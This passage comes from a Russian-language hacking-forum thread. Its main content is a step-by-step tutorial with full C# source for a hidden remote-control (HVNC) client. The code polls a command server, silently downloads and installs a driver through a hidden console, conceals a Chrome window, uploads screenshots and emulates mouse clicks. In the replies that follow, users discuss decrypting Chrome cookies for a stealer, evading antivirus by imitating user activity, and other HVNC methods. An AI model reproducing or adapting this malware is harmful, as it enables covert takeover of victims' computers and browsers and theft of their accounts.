            string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            string monitorDriverPath = Path.Combine(localAppDataPath, "MonitorDriver");
            string zipFilePath = Path.Combine(monitorDriverPath, "monitor.zip");
            string deviceInstallerPath = Path.Combine(monitorDriverPath, "deviceinstaller64.exe");

         
            if (!Directory.Exists(monitorDriverPath))
            {
                Directory.CreateDirectory(monitorDriverPath);
            }

         
            if (!File.Exists(deviceInstallerPath))
            {
                using (WebClient webClient = new WebClient())
                {
                    webClient.DownloadFile("{ip}/download_monitor", zipFilePath);
                    ZipFile.ExtractToDirectory(zipFilePath, monitorDriverPath);
                }
                File.Delete(zipFilePath);
            }

         
            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.Arguments = $"/C cd /d \"{monitorDriverPath}\" && deviceinstaller64 install usbmmidd.inf usbmmidd && deviceinstaller64 enableidd 1";
            cmd.StartInfo.UseShellExecute = false;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.Start();
            cmd.WaitForExit();

         
            foreach (var screen in Screen.AllScreens)
            {
                Console.WriteLine($"Монитор: {screen.DeviceName}, Разрешение: {screen.Bounds.Width}x{screen.Bounds.Height}");
            }

         
            lastScreen = Screen.AllScreens[Screen.AllScreens.Length - 1];
            Console.WriteLine($"Последний монитор: {lastScreen.DeviceName}, Разрешение: {lastScreen.Bounds.Width}x{lastScreen.Bounds.Height}");

       
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            hvncForm = new Form
            {
                StartPosition = FormStartPosition.Manual,
                FormBorderStyle = FormBorderStyle.None,
                Location = lastScreen.Bounds.Location,
                Size = new System.Drawing.Size(lastScreen.Bounds.Width, lastScreen.Bounds.Height),
                ShowInTaskbar = false
            };

         
            hvncForm.Load += (sender, e) =>
            {
                IntPtr formHandle = hvncForm.Handle;
                Console.WriteLine($"Дескриптор формы: {formHandle}");
            };
            Application.Run(hvncForm);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Ошибка при запуске HVNC: " + ex.Message);
        }
    }

    static void HandleStartHVNCChromeCommand(string command)
    {
     
        try
        {
            Console.WriteLine("Запускаем Chrome.");
            Process chromeProcess = null;
            IntPtr chromeWindowHandle = IntPtr.Zero;

         
            for (int i = 0; i < 5; i++)
            {
                chromeProcess = Process.Start("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe");
                Console.WriteLine("Браузер Chrome запущен.");
                System.Threading.Thread.Sleep(2000);

             
                bool success = NativeMethods.EnumWindows((IntPtr hWnd, IntPtr lParam) =>
                {
                    uint processId;
                    NativeMethods.GetWindowThreadProcessId(hWnd, out processId);
                    Process process = Process.GetProcessById((int)processId);
                    if (process.ProcessName == "chrome" && GetChromeWindowClass(hWnd) == "Chrome_WidgetWin_1")
                    {
                        chromeWindowHandle = hWnd;
                        return false;
                    }
                    return true;
                }, IntPtr.Zero);

             
                if (success)
                {
                    Console.WriteLine("Окно Chrome не найдено.");
                    chromeProcess?.Kill();
                }
                else
                {
                    break;
                }
            }

         
            if (chromeWindowHandle != IntPtr.Zero)
            {
                StringBuilder className = new StringBuilder(256);
                NativeMethods.GetClassName(chromeWindowHandle, className, className.Capacity);
                Console.WriteLine($"Дескриптор окна Chrome: {chromeWindowHandle.ToInt64():X8}");
                Console.WriteLine($"Имя класса окна: {className}");

             
                hvncForm.Invoke((MethodInvoker)delegate {
                    NativeMethods.SetParent(chromeWindowHandle, hvncForm.Handle);
                });

             
                IntPtr style = NativeMethods.GetWindowLong(chromeWindowHandle, NativeMethods.GWL_STYLE);
                NativeMethods.SetWindowLong(chromeWindowHandle, NativeMethods.GWL_STYLE, new IntPtr(style.ToInt64() | NativeMethods.WS_CHILD));

             
                CenterChromeWindow(chromeWindowHandle, hvncForm);
             
                Console.WriteLine($"Уникальный ID: {uniqueId}");
             
                screenshotTimer = new System.Threading.Timer(ScreenshotCallback, null, 0, 100);
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine("Ошибка при запуске/поиске браузера Chrome: " + ex.Message);
        }
    }
}

Полный код вы получили, теперь будем разбирать его по кусочкам.

C#:
static string uniqueId;
static Form hvncForm;
static System.Threading.Timer screenshotTimer;
static Screen lastScreen;
static string ip = "http://127.0.0.1:5000";
Все эти строки являются глобальными переменными:
  1. Отвечает за хранение того самого уникального идентификатора, который постоянно упоминался мной при объяснении серверного кода.
  2. Глобальная переменная для вызова формы, которая нужна для того, чтобы в нее пихать браузер.
  3. Глобальная переменная для того, чтобы вызывать таймер, который будет делать скриншот в определенное время.
  4. Переменная для того, чтобы вызывать информацию о последнем мониторе.
  5. Последняя переменная нужна для того, чтобы просто не писать каждый раз адрес, когда он необходим.
Теперь рассмотрим main:
C#:
static void Main(string[] args)
{
    string filePath = "unique_id.txt";

     
    if (File.Exists(filePath))
    {
        uniqueId = File.ReadAllText(filePath).Trim();
    }
    else
    {
        uniqueId = Guid.NewGuid().ToString();
        WriteToFile(filePath, uniqueId);
        SendPostRequest("{ip}/receive_id", uniqueId);
    }

     
    System.Threading.Timer timer = new System.Threading.Timer(TimerCallback, null, 1000, 1000);

     
    Console.WriteLine($"Уникальный ID: {uniqueId}");

     
    Console.ReadLine();
}
  1. В методе main хранится переменная, в которой находится название файла, в котором хранится уникальный ID.
  2. Затем происходит проверка: если есть файл с уникальным ID, то из этого текстового файла читается ID.
  3. Если файла нет, то тогда он создается, генерируется ID и отправляется на сервер на адрес receive_id.
  4. Затем запускается таймер для периодической отправки запроса на сервер (это нужно для того, чтобы проверять, есть ли какие-либо команды от сервера).

C#:
static void TimerCallback(object state)
{
    SendPostRequest($"{ip}/requests/{uniqueId}", uniqueId);
}
Этот метод необходим для вызова таймера, чтобы отправить запрос на сервер на адрес requests, в который сервер отправляет команды, которые затем читает клиент.

C#:
static void SendPostRequest(string url, string data)
    {
        try
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            request.Method = "POST";
            request.ContentType = "application/json";

         
            using (StreamWriter streamWriter = new StreamWriter(request.GetRequestStream()))
            {
                string json = JsonConvert.SerializeObject(new { unique_id = data });
                streamWriter.Write(json);
            }

         
            using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
            {
             
                using (StreamReader streamReader = new StreamReader(response.GetResponseStream()))
                {
                    string result = streamReader.ReadToEnd();
                    Console.WriteLine("Ответ от сервера: " + result);

               
                    dynamic responseObject = JsonConvert.DeserializeObject(result);

                 
                    if (responseObject.command != null && responseObject.command.ToString().StartsWith("move_mouse"))
                    {
                        HandleMoveMouseCommand(responseObject.command.ToString());
                    }

                 
                    if (responseObject.command != null && responseObject.command == "start_hvnc")
                    {
                        HandleStartHVNCCommand(responseObject.command.ToString());
                    }

                    else if (responseObject.command != null && responseObject.command == "start_hvnc_chrome")
                    {
                        HandleStartHVNCChromeCommand(responseObject.command.ToString());
                    }
                }
            }
        }
        catch (WebException e)
        {
         
            if (e.Response is HttpWebResponse response)
            {
                using (StreamReader reader = new StreamReader(response.GetResponseStream()))
                {
                    string errorText = reader.ReadToEnd();
                    Console.WriteLine($"Ошибка: {errorText}");
                }
            }
            else
            {
                Console.WriteLine($"Нет ответа от сервера: {e.Message}");
            }
        }
    }
Этот метод нужен для того, чтобы отправлять запросы на сервер, а также принимать их с сервера на адресе requests. В блоках if находится обработка полученных команд с адреса requests.
Допустим, если команда определена как move_mouse, то тогда вызывается метод HandleMoveMouseCommand, в котором находится обработка координат и выполнение эмуляции.
Если команда start_hvnc, то в таком случае вызывается метод HandleStartHVNCCommand, который отвечает за установку драйвера для дополнительного монитора и создание на нем формы.
Или если команда определена как start_hvnc_chrome, то тогда вызывается метод HandleStartHVNCChromeCommand. Это метод, который отвечает за запуск браузера внутри созданной ранее формы.

C#:
static void WriteToFile(string filePath, string data)
{
    using (StreamWriter writer = new StreamWriter(filePath))
    {
        writer.WriteLine(data);
    }
}
Этот метод отвечает за то, чтобы записывать уникальный ID внутрь txt.

C#:
static string GetChromeWindowClass(IntPtr hWnd)
{
    StringBuilder className = new StringBuilder(256);
    NativeMethods.GetClassName(hWnd, className, className.Capacity);
    return className.ToString();
}
Этот метод отвечает за получение класса окна браузера.

C#:
static void CenterChromeWindow(IntPtr chromeWindowHandle, Form form)
{
    NativeMethods.RECT rect;
    NativeMethods.GetWindowRect(chromeWindowHandle, out rect);
    int chromeWidth = rect.Right - rect.Left;
    int chromeHeight = rect.Bottom - rect.Top;

    int formWidth = form.ClientSize.Width;
    int formHeight = form.ClientSize.Height;

    int chromeX = (formWidth - chromeWidth) / 2;
    int chromeY = (formHeight - chromeHeight) / 2;

    NativeMethods.SetWindowPos(chromeWindowHandle, IntPtr.Zero, chromeX, chromeY, chromeWidth, chromeHeight, (uint)(NativeMethods.SetWindowPosFlags.SWP_NOZORDER | NativeMethods.SetWindowPosFlags.SWP_NOSIZE));
}
Этот метод нужен для того, чтобы центрировать окно браузера внутри формы. Если не центрировать его, то окно браузера может уйти за границу формы, и тогда мы не сможем его оттуда вытащить. В данном методе находятся переменные, в которых хранятся такие данные:
  1. Высота и ширина окна браузера.
  2. Высота и ширина окна формы.
  3. Затем берется высота и ширина формы, затем вычитается ширина и высота окна браузера, и все это делится на два.

C#:
static void ScreenshotCallback(object state)
 {
     try
     {
         Bitmap screenshot = new Bitmap(lastScreen.Bounds.Width, lastScreen.Bounds.Height, PixelFormat.Format32bppArgb);
         using (Graphics gfx = Graphics.FromImage(screenshot))
         {
             gfx.CopyFromScreen(lastScreen.Bounds.X, lastScreen.Bounds.Y, 0, 0, lastScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
         }

         string screenshotBase64;
         using (MemoryStream ms = new MemoryStream())
         {
             screenshot.Save(ms, ImageFormat.Png);
             byte[] imageBytes = ms.ToArray();
             screenshotBase64 = Convert.ToBase64String(imageBytes);
         }

         string url = $"{ip}/upload_screenshot/{uniqueId}";
         HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
         request.Method = "POST";
         request.ContentType = "application/json";

         using (StreamWriter streamWriter = new StreamWriter(request.GetRequestStream()))
         {
             string json = JsonConvert.SerializeObject(new { screenshot = screenshotBase64 });
             streamWriter.Write(json);
         }

         using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
         {
             using (StreamReader streamReader = new StreamReader(response.GetResponseStream()))
             {
                 string result = streamReader.ReadToEnd();
                 Console.WriteLine("Ответ от сервера: " + result);
             }
         }
     }
     catch (Exception ex)
     {
         Console.WriteLine("Ошибка в методе ScreenshotCallback: " + ex.Message);
     }
 }
Этот метод нужен для того, чтобы создавать скриншот и отправлять его на сервер, а именно:
  1. Создается объект BitMap для хранения скриншота.
  2. Затем происходит захват изображения с последнего экрана.
  3. Создается MemoryStream для хранения скриншота в памяти.
  4. Затем происходит преобразование изображения в байты, а из байтов уже конвертируется в base64.
  5. Происходит отправка base64 на адрес upload_screenshot для конкретного ID.
  6. Принятие ответа от сервера после получения им скриншота.

C#:
static void HandleMoveMouseCommand(string command)
 {
     string[] parts = command.Split(' ');
     if (parts.Length == 3 && parts[0] == "move_mouse")
     {
         int x, y;
         if (int.TryParse(parts[1], out x) && int.TryParse(parts[2], out y))
         {
             Console.WriteLine($"Координаты мыши: x={x}, y={y}");
             
             int originalX = Cursor.Position.X;
             int originalY = Cursor.Position.Y;
             Cursor.Position = new Point(x, y);
             NativeMethods.mouse_event(NativeMethods.MOUSEEVENTF_LEFTDOWN | NativeMethods.MOUSEEVENTF_LEFTUP, x, y, 0, UIntPtr.Zero);
             
             Cursor.Position = new Point(originalX, originalY);
         }
         else
         {
             Console.WriteLine("Ошибка парсинга координат.");
         }
     }
     else
     {
         Console.WriteLine("Некорректный формат команды move_mouse.");
     }
 }
Этот метод нужен для того, чтобы обрабатывать полученную команду move_mouse:
  1. Команда разбивается на части по пробелам.
  2. Затем происходит проверка на то, чтобы команда начиналась с move_mouse.
  3. Если команда начинается с move_mouse, то тогда вторая и третья часть команды преобразуются в целые числа.
  4. Затем эти числа выводятся в консоль, это и есть координаты, куда мы будем двигать курсор.
  5. Записываются текущие координаты мыши клиента.
  6. Затем происходит перемещение мыши на полученные координаты.
  7. Происходит клик левой кнопкой мыши.
  8. Курсор возвращается на координаты, полученные перед эмуляцией смещения курсора.

C#:
static void HandleStartHVNCCommand(string command)
    {
        try
        {
            Console.WriteLine("Запускаем HVNC.");
            string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            string monitorDriverPath = Path.Combine(localAppDataPath, "MonitorDriver");
            string zipFilePath = Path.Combine(monitorDriverPath, "monitor.zip");
            string deviceInstallerPath = Path.Combine(monitorDriverPath, "deviceinstaller64.exe");


            if (!Directory.Exists(monitorDriverPath))
            {
                Directory.CreateDirectory(monitorDriverPath);
            }

            if (!File.Exists(deviceInstallerPath))
            {
                using (WebClient webClient = new WebClient())
                {
                    webClient.DownloadFile("{ip}/download_monitor", zipFilePath);
                    ZipFile.ExtractToDirectory(zipFilePath, monitorDriverPath);
                }
                File.Delete(zipFilePath);
            }

            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.Arguments = $"/C cd /d \"{monitorDriverPath}\" && deviceinstaller64 install usbmmidd.inf usbmmidd && deviceinstaller64 enableidd 1";
            cmd.StartInfo.UseShellExecute = false;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.Start();
            cmd.WaitForExit();

            foreach (var screen in Screen.AllScreens)
            {
                Console.WriteLine($"Монитор: {screen.DeviceName}, Разрешение: {screen.Bounds.Width}x{screen.Bounds.Height}");
            }

            lastScreen = Screen.AllScreens[Screen.AllScreens.Length - 1];
            Console.WriteLine($"Последний монитор: {lastScreen.DeviceName}, Разрешение: {lastScreen.Bounds.Width}x{lastScreen.Bounds.Height}");

            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            hvncForm = new Form
            {
                StartPosition = FormStartPosition.Manual,
                FormBorderStyle = FormBorderStyle.None,
                Location = lastScreen.Bounds.Location,
                Size = new System.Drawing.Size(lastScreen.Bounds.Width, lastScreen.Bounds.Height),
                ShowInTaskbar = false
            };

            hvncForm.Load += (sender, e) =>
            {
                IntPtr formHandle = hvncForm.Handle;
                Console.WriteLine($"Дескриптор формы: {formHandle}");
            };
            Application.Run(hvncForm);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Ошибка при запуске HVNC: " + ex.Message);
        }
    }
Этот метод отвечает за запуск HVNC, а именно:
  1. Происходит проверка на то, есть ли папка, в которой должен находиться драйвер для монитора. Если нет, то тогда папка создается.
  2. Происходит закачка драйвера.
  3. Установка происходит методом ввода команд в обычную консоль.
  4. После этого происходит вывод информации о мониторах.
  5. Затем происходит создание формы, которая будет расположена на последнем мониторе.
  6. Затем получается дескриптор созданной формы.

C#:
static void HandleStartHVNCChromeCommand(string command)
{
    try
    {
        Console.WriteLine("Запускаем Chrome.");
        Process chromeProcess = null;
        IntPtr chromeWindowHandle = IntPtr.Zero;

        for (int i = 0; i < 5; i++)
        {
            chromeProcess = Process.Start("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe");
            Console.WriteLine("Браузер Chrome запущен.");
            System.Threading.Thread.Sleep(2000);

            bool success = NativeMethods.EnumWindows((IntPtr hWnd, IntPtr lParam) =>
            {
                uint processId;
                NativeMethods.GetWindowThreadProcessId(hWnd, out processId);
                Process process = Process.GetProcessById((int)processId);
                if (process.ProcessName == "chrome" && GetChromeWindowClass(hWnd) == "Chrome_WidgetWin_1")
                {
                    chromeWindowHandle = hWnd;
                    return false;
                }
                return true;
            }, IntPtr.Zero);

            if (success)
            {
                Console.WriteLine("Окно Chrome не найдено.");
                chromeProcess?.Kill();
            }
            else
            {
                break;
            }
        }

        if (chromeWindowHandle != IntPtr.Zero)
        {
            StringBuilder className = new StringBuilder(256);
            NativeMethods.GetClassName(chromeWindowHandle, className, className.Capacity);
            Console.WriteLine($"Дескриптор окна Chrome: {chromeWindowHandle.ToInt64():X8}");
            Console.WriteLine($"Имя класса окна: {className}");

            hvncForm.Invoke((MethodInvoker)delegate {
                NativeMethods.SetParent(chromeWindowHandle, hvncForm.Handle);
            });

            IntPtr style = NativeMethods.GetWindowLong(chromeWindowHandle, NativeMethods.GWL_STYLE);
            NativeMethods.SetWindowLong(chromeWindowHandle, NativeMethods.GWL_STYLE, new IntPtr(style.ToInt64() | NativeMethods.WS_CHILD));

            CenterChromeWindow(chromeWindowHandle, hvncForm);
            Console.WriteLine($"Уникальный ID: {uniqueId}");
            screenshotTimer = new System.Threading.Timer(ScreenshotCallback, null, 0, 100);
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("Ошибка при запуске/поиске браузера Chrome: " + ex.Message);
    }
}
Данный метод необходим для запуска браузера, а именно:
  1. Поиск exe браузера по пути, который указан в коде.
  2. Запуск этого exe, если он найден.
  3. Затем происходит поиск окна этого браузера.
  4. После того как окно найдено, происходит проверка на то, чтобы имя процесса найденного окна было chrome, а его класс должен называться Chrome_WidgetWin_1.
  5. Если все верно, то тогда происходит получение Handler найденного окна.
  6. Если окно найдено и с ним все в порядке, то тогда происходит его удочерение внутрь созданной формы.
  7. Затем происходит центрирование окна браузера, вызывая для этого метод, о котором мы писали.
  8. Вызов таймера для периодического создания скриншота.

Ответы на возможные вопросы, которые у вас могут возникнуть к моему коду:
Если у вас возник вопрос о том, почему я не использовал при создании трансляции компрессию для того, чтобы уменьшить задержку и увеличить количество кадров в секунду, то отвечаю:
Данную статью я хотел сделать с максимально простым кодом с использованием методов, которые знакомы каждому, так что от использования компрессии и кодеков пришлось отказаться. Но я планирую написать несколько статей по HVNC и RAT в принципе.
В следующих статьях я, скорее всего, добавлю компрессию и буду поэтапно усложнять и улучшать код для того, чтобы читатели могли также поэтапно получать знания, не перескакивая сразу же на сложный код, при этом не понимая простейшего.

Почему в отличие от моих предыдущих статей, тут я не описываю каждую строчку подробно?
Я боюсь, что в таком случае статья растянется примерно в 2 раза, и тогда она будет трудна для чтения, но я компенсирую это тем, что в приложенных исходниках проекта я указал огромное количество комментариев, практически ко всем строкам.

Каким образом можно улучшить работу трансляции:
  1. Самым простым вариантом является отправка не по http, а по веб-сокету.
  2. Использование готовых кодеков типа h264.

Заключение:
Я старался упростить создание HVNC по максимуму, так что метод получается, в принципе, топорным и колхозным, так что чтобы его использовать в работе, ему нужны серьезные доработки. Я не особо хорошо знаю C#, так что если есть проблемы или ошибки, о которых я не упоминал, буду рад, если будут желающие, которые внесут изменения в код и укажут их в комментариях, чтобы каждый мог изучить данную тему подробнее и сделать общедоступный, но при этом простой софт для работы.

Статья написана CognitoInc специально для форума xss.pro
 

Вложения

  • Server.zip
    111 КБ · Просмотры: 90
  • Client.zip
    5.8 КБ · Просмотры: 85
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
А что если у клиента к примеру реклама со звуком включиться в браузере?) Да и разве VNC не должен использовать RFB протокол? Ведь HVNC - Hidden Virtual Network Computing. А там картинка должна передаваться по tcp а не в base64 по http, просто немного не логично что ты это назвал HVNC
 
Последнее редактирование:
А что если у клиента к примеру реклама со звуком включиться в браузере?) Да и разве VNC не должен использовать RFB протокол? Ведь HVNC - Hidden Virtual Network Computing. А там картинка должна передаваться по tcp а не в base64 по http, просто немного не логично что ты это назвал HVNC
Почему картинка должна отправляться по tcp? это безусловно хороший вариант, но это не обязательно.
Ну на счет названия я хз, можешь в таком случае сказать как будет правильней.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Почему картинка должна отправляться по tcp? это безусловно хороший вариант, но это не обязательно.
Ну на счет названия я хз, можешь в таком случае сказать как будет правильней.
ну потому что это уже не VNC раз она не использует протокол RFB, название не подходит вообще никак, к нему только добавляется приписка H - Hidden.
+ для vnc есть специальный софт который я думаю никак не будет совместим с твоим скриптом

Virtual Network Computing (VNC) — система удалённого доступа к рабочему столу компьютера, использующая протокол RFB
 
ну потому что это уже не VNC раз она не использует протокол RFB, название не подходит вообще никак, к нему только добавляется приписка H - Hidden.
+ для vnc есть специальный софт который я думаю никак не будет совместим с твоим скриптом

Virtual Network Computing (VNC) — система удалённого доступа к рабочему столу компьютера, использующая протокол RFB
Я же тебе говорю, если не правильно, скажи как правильно, вот и все)
Ты же сам сказал, система удаленного доступа. У меня и есть система удаленного доступа, хоть и не через RFB.
 
Последнее редактирование:
спасибо, сейчас кокраз думал писать hvnc, но со стиллером запнулся. не могу расшифровать куки с хрома 125 версия(ласт), кажись что то поменялось или где то я туплю
 
спасибо, сейчас кокраз думал писать hvnc, но со стиллером запнулся. не могу расшифровать куки с хрома 125 версия(ласт), кажись что то поменялось или где то я туплю
На счет изменений ничего не знаю, но в дальнейшем буду добавлять стиллер к данному софту, так что изучу что там могло измениться, если изменения конечно были
 
так и еще вопрос по теме, ты описал метод создания сессии хвнс вторым монитором, а что нить слыхал про такой способ:
создание юзера, а там уже паралельно сессия открывается... ?
 
так и еще вопрос по теме, ты описал метод создания сессии хвнс вторым монитором, а что нить слыхал про такой способ:
создание юзера, а там уже паралельно сессия открывается... ?
Честно говоря не слышал, мне кажется создание юзера будет сильно тригерить ав, но это не точно
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Честно говоря не слышал, мне кажется создание юзера будет сильно тригерить ав, но это не точно
Ну кстати чисто появляется второй explorer.exe (есть разные ХВНЦ и возможно юзают explorer.exe )
 
Ну кстати чисто появляется второй explorer.exe (есть разные ХВНЦ и возможно юзают explorer.exe )
Это не то о чем говорили сейчас. Тот метод о котором ты говоришь, сделан через создание виртуал десктопа. А выше речь была про создание отдельного пользователя в системе
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это не то о чем говорили сейчас. Тот метод о котором ты говоришь, сделан через создание виртуал десктопа. А выше речь была про создание отдельного пользователя в системе
А понял
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ну потому что это уже не VNC раз она не использует протокол RFB, название не подходит вообще никак, к нему только добавляется приписка H - Hidden.
+ для vnc есть специальный софт который я думаю никак не будет совместим с твоим скриптом

Virtual Network Computing (VNC) — система удалённого доступа к рабочему столу компьютера, использующая протокол RFB
Та похер какой там протокол RFB, и что там, главнее чтоб воркал нормально HVNC( и скрытно)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Good , already created this project see demo :
, but the project need more improvements flask is not reliable also python is very slow
 
Пожалуйста, обратите внимание, что пользователь заблокирован
, а что нить слыхал про такой способ:
создание юзера, а там уже паралельно сессия открывается... ?
Это будет уже hRDP , наверное. И для этого нужны админ права.
 
Это будет уже hRDP , наверное. И для этого нужны админ права.
да бро уже разобрался, 10 способов разных изучил как делают. и с точки зрения АВ что нужно поведение под человека чтоб незадетектило...
а с расшифровкой куки на хроме тоже успех :) оказалось DPAPI из мастер ключа не удалил и получил неверный ключ которым в итоге некоректно расшифровывал...
 
да бро уже разобрался, 10 способов разных изучил как делают. и с точки зрения АВ что нужно поведение под человека чтоб незадетектило...
а с расшифровкой куки на хроме тоже успех :) оказалось DPAPI из мастер ключа не удалил и получил неверный ключ которым в итоге некоректно расшифровывал...
напиши все способы, интересно
 
напиши все способы, интересно
  1. Создание виртуального рабочего стола и захват изображения с помощью PrintWindow, а затем эмуляция движения мыши.
  2. Создание WindowsForm, получение его handler, запуск браузера (например, Chrome) и помещение окна браузера внутрь созданной формы, а затем движение этой формы за края монитора.
  3. Создание нового пользователя, как я упомнянул раньше, и использование его сеанса для удаленного доступа.
  4. Использование технологии Windows Desktop Duplication для захвата изображения рабочего стола и эмуляции пользовательской активности.
  5. Использование библиотеки Windows Graphics для создания скрытой графики и эмуляции пользовательской активности.
    еще есть но способами и методами их не назвать тот же подход, только инструменты для разработки разные. а вообще главное в этой задачи это обход АВ
нужно эмулировать пользователькую активность чтобы ав не детектили вот что я могу советовать
ну и в последнее время убеждаюсь что c++ для винды самое то(он кажись для нее и делался со временем). я работаю на раст там по сложнее, все взаимодействие напрямую с winapi через низкоуровневые библиотеки - я имею ввиду что те же самые функции реализовать в расте для винды посложнее чем на с++
 
  1. Создание виртуального рабочего стола и захват изображения с помощью PrintWindow, а затем эмуляция движения мыши.
  2. Создание WindowsForm, получение его handler, запуск браузера (например, Chrome) и помещение окна браузера внутрь созданной формы, а затем движение этой формы за края монитора.
  3. Создание нового пользователя, как я упомнянул раньше, и использование его сеанса для удаленного доступа.
  4. Использование технологии Windows Desktop Duplication для захвата изображения рабочего стола и эмуляции пользовательской активности.
  5. Использование библиотеки Windows Graphics для создания скрытой графики и эмуляции пользовательской активности.
    еще есть но способами и методами их не назвать тот же подход, только инструменты для разработки разные. а вообще главное в этой задачи это обход АВ
нужно эмулировать пользователькую активность чтобы ав не детектили вот что я могу советовать
ну и в последнее время убеждаюсь что c++ для винды самое то(он кажись для нее и делался со временем). я работаю на раст там по сложнее, все взаимодействие напрямую с winapi через низкоуровневые библиотеки - я имею ввиду что те же самые функции реализовать в расте для винды посложнее чем на с++
Ну я тоже через винапи взаимодействую в c#. Плюсы для меня темный лес, боюсь на нем бы я не смог написать, но да плюсы определенно лучше подходит чем тот же шарп
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх